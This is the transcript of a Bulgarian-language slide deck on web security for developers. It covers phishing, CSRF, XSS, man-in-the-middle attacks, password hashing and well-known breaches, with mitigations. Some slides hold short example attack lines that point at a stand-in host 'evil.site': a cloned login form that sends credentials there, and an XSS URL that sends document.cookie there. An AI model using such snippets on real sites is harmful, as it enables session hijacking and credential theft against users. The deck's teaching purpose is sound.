Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Security

Web Security

Georgy Angelov

March 28, 2014
Tweet

More Decks by Georgy Angelov

Other Decks in Programming

Transcript

  1. Web Security

    View Slide

  2. DISCLAIMER

    View Slide

  3. Имам ~130 слайда

    View Slide

  4. Няма да покрия темата и на 10%

    View Slide

  5. Ще говоря и за неща, които по
    принцип са ясни и логични, но
    се оказва, че доста често ги
    пропускаме.

    View Slide

  6. Ще започна с по-простите

    View Slide

  7. Може да отегча някои от Вас

    View Slide

  8. Да започваме?

    View Slide

  9. Security?

    View Slide

  10. Из речника
    • Сигурност, безопасност, спокойствие
    • Увереност, доверие
    • Защита, охрана
    • Гаранция

    View Slide

  11. Из речника
    • Сигурност, безопасност, спокойствие
    • Увереност, доверие
    • Защита, охрана
    • Гаранция

    View Slide

  12. Кое защитаваме?

    View Slide

  13. Информацията?

    View Slide

  14. Хората, които я използват!

    View Slide

  15. Защо?

    View Slide

  16. Доверие

    View Slide

  17. Пари

    View Slide

  18. План
    • Attack vectors
    • Пароли
    • Съвети
    • Стената на срама

    View Slide

  19. Attack vectors

    View Slide

  20. An attack vector is a path or means by which a hacker (or cracker) can
    gain access to a computer or website in order to deliver a payload or
    malicious outcome. Attack vectors enable hackers to exploit system
    vulnerabilities, including the human element.

    View Slide

  21. Phishing

    View Slide

  22. Phishing
    • Подобни домейни
    • Email spoofing
    • Маскиране на линкове

    View Slide

  23. http://gmail.com/
    Къде води този линк?

    View Slide

  24. http://gmail.com

    View Slide

  25. http://gmail.com
    $('.evil').on('click', function(e) {
    window.location = "http://evil.site/";
    e.preventDefault();
    });

    View Slide

  26. Дублиране на страници
    $.get(‘http://website.com/login’, function(html) {
    $(‘body’).append(html);
    $(‘form’).attr(‘action’, ‘http://evil.site/login’);
    });

    View Slide

  27. Дублиране на страници
    $.get(‘http://website.com/login’, function(html) {
    $(‘body’).append(html);
    $(‘form’).attr(‘action’, ‘http://evil.site/login’);
    });
    Това точно няма да сработи заради Access Control Origin, но ако сървъра зареди html-a всичко ще е наред.

    View Slide

  28. За съжаление не можем да направим
    много, ...

    View Slide

  29. освен да използваме HTTPS и да
    насърчаваме потребителите да гледат URL-a.

    View Slide

  30. Cross-Site Request Forgery

    View Slide

  31. Да изтрием акаунта му
    Free icecream

    View Slide

  32. Ще кажете “ама не трябва да е GET”



    $(‘form’).submit();

    View Slide

  33. Какво можем да направим?

    View Slide

  34. Synchronizer Token Pattern
    (CSRF Token)

    View Slide

  35. Уникален, генериран ключ за всяко
    показване на формата.

    View Slide

  36. Пази се като част от сесията и се валидира
    при submit.

    View Slide

  37. Идва като вградена функционалност с
    доста framework-ове.

    View Slide

  38. Cross Site Scripting (XSS)

    View Slide

  39. Най-често използваната атака.
    ~40% от всички атаки

    View Slide

  40. Приложимо, когато на страницата се
    показва нефилтриран текст
    (взет от потребител като параметър).

    View Slide

  41. Три вида XSS

    View Slide

  42. Non-persistent XSS

    View Slide

  43. Non-persistent XSS
    http://site.com/result?error=No%20such%20user
    http://site.com/result?error=$.get(‘http://evil.site/?c=‘+<br/>document.cookie);

    View Slide

  44. Persistent XSS

    View Slide

  45. Persistent XSS
    1. Събмитваме текст в някое поле, съдържащ въпросния скрипт.
    2. Потребител отваря профила ни.
    3. Открадваме сесията му.
    4. Логваме се с нея.
    5. WIN

    View Slide

  46. Доста по-рядко срещано,
    но и много по-опасно.

    View Slide

  47. View Slide

  48. https://blog.twitter.com/2010/all-about-onmouseover-incident

    View Slide

  49. View Slide

  50. http://threatpost.com/paypal-site-vulnerable-to-xss-attack/100787

    View Slide

  51. View Slide

  52. Какво да не правим?

    View Slide


  53. В ERB, EJS и някои други това е ОК, защото самия темплейт енджин кодира HTML знаците в текста.

    View Slide

  54. <br/>var initData = <%= data.to_json %>;<br/>// …<br/>

    View Slide

  55. <br/>var initData = {<br/>“text”: “alert(document.cookie);”
    };
    // …

    View Slide

  56. DOM-based XSS

    View Slide

  57. Често при RIA сайтове

    View Slide

  58. Разчита на подобни проблеми,
    но на клиента

    View Slide

  59. DOM-based XSS
    var page = window.location.hash.replace(“page=“, “”);
    $(‘Page ‘ + page + ’’).appendTo(…);

    View Slide

  60. DOM-based XSS
    http://site.com/#page=3
    http://site.com/#page=...

    View Slide

  61. Решението е лесно и ясно
    &  &
    <  <
    >  >
    "  "
    '  '
    /  /

    View Slide

  62. Докато не забравим
    да го приложим някъде…

    View Slide

  63. ...или го дадем на някой плъгин,
    който не го прави.

    View Slide

  64. HTTP only cookies

    View Slide

  65. Information leakage

    View Slide

  66. View Slide

  67. View Slide

  68. Това е втората най-често използвана атака

    View Slide

  69. Man-In-The-Middle attack

    View Slide

  70. View Slide

  71. Wi-Fi packet sniffing
    (подушване на пакети)

    View Slide

  72. Не, кучето Ви не може да подуши тези
    пакети

    View Slide

  73. Четене на некриптиран трафик
    от и до публичен hotspot.
    Включително пароли.

    View Slide

  74. HTTPS

    View Slide

  75. Пароли

    View Slide

  76. Най-важното нещо,
    след номерата на банкови карти

    View Slide

  77. Защо точно паролите?

    View Slide

  78. Потребителите са глупави...
    (аз включително)

    View Slide

  79. ...преизползват пароли

    View Slide

  80. “Passwords are never stored in plaintext. At
    least they shouldn't be, unless you're
    building the world's most insecure system
    using the world's most naive programmers.”
    - случаен човек в нета

    View Slide

  81. protected String encodePassword(String password) {
    String ref = "1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1";
    StringBuilder result = new StringBuilder();
    for (int i = 0; i < password.length(); i ++) {
    result.append(ref.charAt(ref.indexOf(password.charAt(i)) + 1));
    }
    return result.toString();
    }

    View Slide

  82. protected String decodePassword(String password) {
    String ref = "1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1";
    ref = new StringBuilder(ref).reverse().toString();
    StringBuilder result = new StringBuilder();
    for (int i = 0; i < password.length(); i ++) {
    result.append(ref.charAt(ref.indexOf(password.charAt(i)) + 1));
    }
    return result.toString();
    }
    Java

    View Slide

  83. conseq([X,Y|L], X, Y).
    conseq([_|L], X, Y) :- conseq(L, X, Y).
    mapNext(Code, [], []).
    mapNext(Code, [X|L], [Y|LRes]) :- conseq(Code, X, Y), mapNext(Code, L, LRes).
    ?- string_codes(' 1U40ckjGEpdeil5xyde9STilbf237wzCKJoOdeilNILstnPMmQXYahVRgDAHuvrBFWZ1 ', Code),
    string_codes('123', L),
    mapNext(Code, L, X),
    write(X).
    Prolog

    View Slide

  84. Whitespace

    View Slide

  85. Security through obscurity

    View Slide

  86. View Slide

  87. Няма полза от това да си грозен

    View Slide

  88. Хешове

    View Slide

  89. Защита дори ако “изтече” базата от данни

    View Slide

  90. MD5? SHA1? SHA256?

    View Slide

  91. На един по-мощен настолен компютър
    • MD5 – 8 000 000 000 пароли в секунда
    • SHA1 – 3 000 000 000 пароли в секунда
    • SHA256 – 1 100 000 000 пароли в секунда

    View Slide

  92. 8-символна парола от букви, цифри и
    някои специални знаци
    се краква за ~ 10 часа.

    View Slide

  93. По-бързо ако използваме rainbow таблица

    View Slide

  94. Или пък я има в някой речник

    View Slide

  95. Или си пуснете няколко големи
    Amazon EC2 GPU машини
    http://du.nham.ca/blog/posts/2013/03/08/password-cracking-on-amazon-ec2/
    https://www.cloudcracker.com

    View Slide

  96. Трябва ни нещо по-добро

    View Slide

  97. Хеш със сол

    View Slide

  98. Уникална за конкретната парола добавка,
    която я “разширява”.

    View Slide

  99. Прави хеша уникален,
    дори да има еднакви пароли

    View Slide

  100. Обезсмисля rainbow таблиците и
    забавя едновременни brute-force
    атаки на много пароли

    View Slide

  101. Малко е!

    View Slide

  102. Решението?

    View Slide

  103. BCrypt, PBKDF2, SCrypt

    View Slide

  104. Осоляват и хешират много пъти

    View Slide

  105. Параметризират “бавността” на хеширане
    => осъкатяват brute-force-a

    View Slide

  106. Стената на срама

    View Slide

  107. View Slide

  108. 03.10.2013 - компрометирани 150 000 000 акаунта
    http://helpx.adobe.com/x-productkb/policy-pricing/customer-alert.html
    http://www.theguardian.com/technology/2013/nov/07/adobe-password-leak-can-check

    View Slide

  109. View Slide

  110. http://us.blizzard.com/en-us/securityupdate.html

    View Slide

  111. View Slide

  112. 8 000 000 SHA1 хешове без сол
    http://blog.linkedin.com/2012/06/06/linkedin-member-passwords-compromised/
    http://arstechnica.com/security/2012/06/8-million-leaked-passwords-connected-to-linkedin/

    View Slide

  113. View Slide

  114. Не е fail, но все пак – brute-force от 40 000 различни IP адреса.
    https://github.com/blog/1698-weak-passwords-brute-forced

    View Slide

  115. View Slide

  116. Ubuntu forums - 1 820 000 потребителски акаунти
    http://www.zdnet.com/ubuntu-forums-hacked-1-82m-logins-email-addresses-stolen-7000018336/

    View Slide

  117. Random съвети

    View Slide

  118. При неуспешен логин не казвайте кое е
    грешно – мейла или паролата.

    View Slide

  119. Потвърждавайте промяната на мейл
    адреса и на стария мейл.

    View Slide

  120. Защитавайте и backup сървърите

    View Slide

  121. Блокирайте login формата
    при определен брой неуспешни опити,
    или показвайте captcha

    View Slide

  122. Обновявайте си ОС-а на сървърите и
    developer-ските машини

    View Slide

  123. View Slide

  124. Застрашени всички потребители на iOS, MacOS
    http://www.cnet.com/news/apple-finally-fixes-gotofail-os-x-security-hole/

    View Slide

  125. View Slide

  126. View Slide

  127. Застрашени (почти) всички потребители на Linux
    http://arstechnica.com/security/2014/03/critical-crypto-bug-leaves-linux-hundreds-of-apps-open-to-eavesdropping/
    https://www.gitorious.org/gnutls/gnutls/commit/6aa26f78150ccbdf0aec1878a41c17c41d358a3b

    View Slide

  128. Windows is next

    View Slide

  129. View Slide

  130. http://arstechnica.com/security/2013/10/hack-of-mongohq-exposes-passwords-user-databases-to-intruders/

    View Slide

  131. View Slide

  132. Social engineering
    http://www.wired.com/gadgetlab/2012/08/apple-amazon-mat-honan-hacking/

    View Slide

  133. egov.bg

    View Slide

  134. egov.bg
    /document?eDocId=base64()
    http://blog.bozho.net/?p=1327

    View Slide

  135. И най-добрият съвет...

    View Slide

  136. Use it!

    View Slide

  137. Благодаря за вниманието!

    View Slide

  138. Благодаря за вниманието!
    Разбрах, че котките помагали в презентации.

    View Slide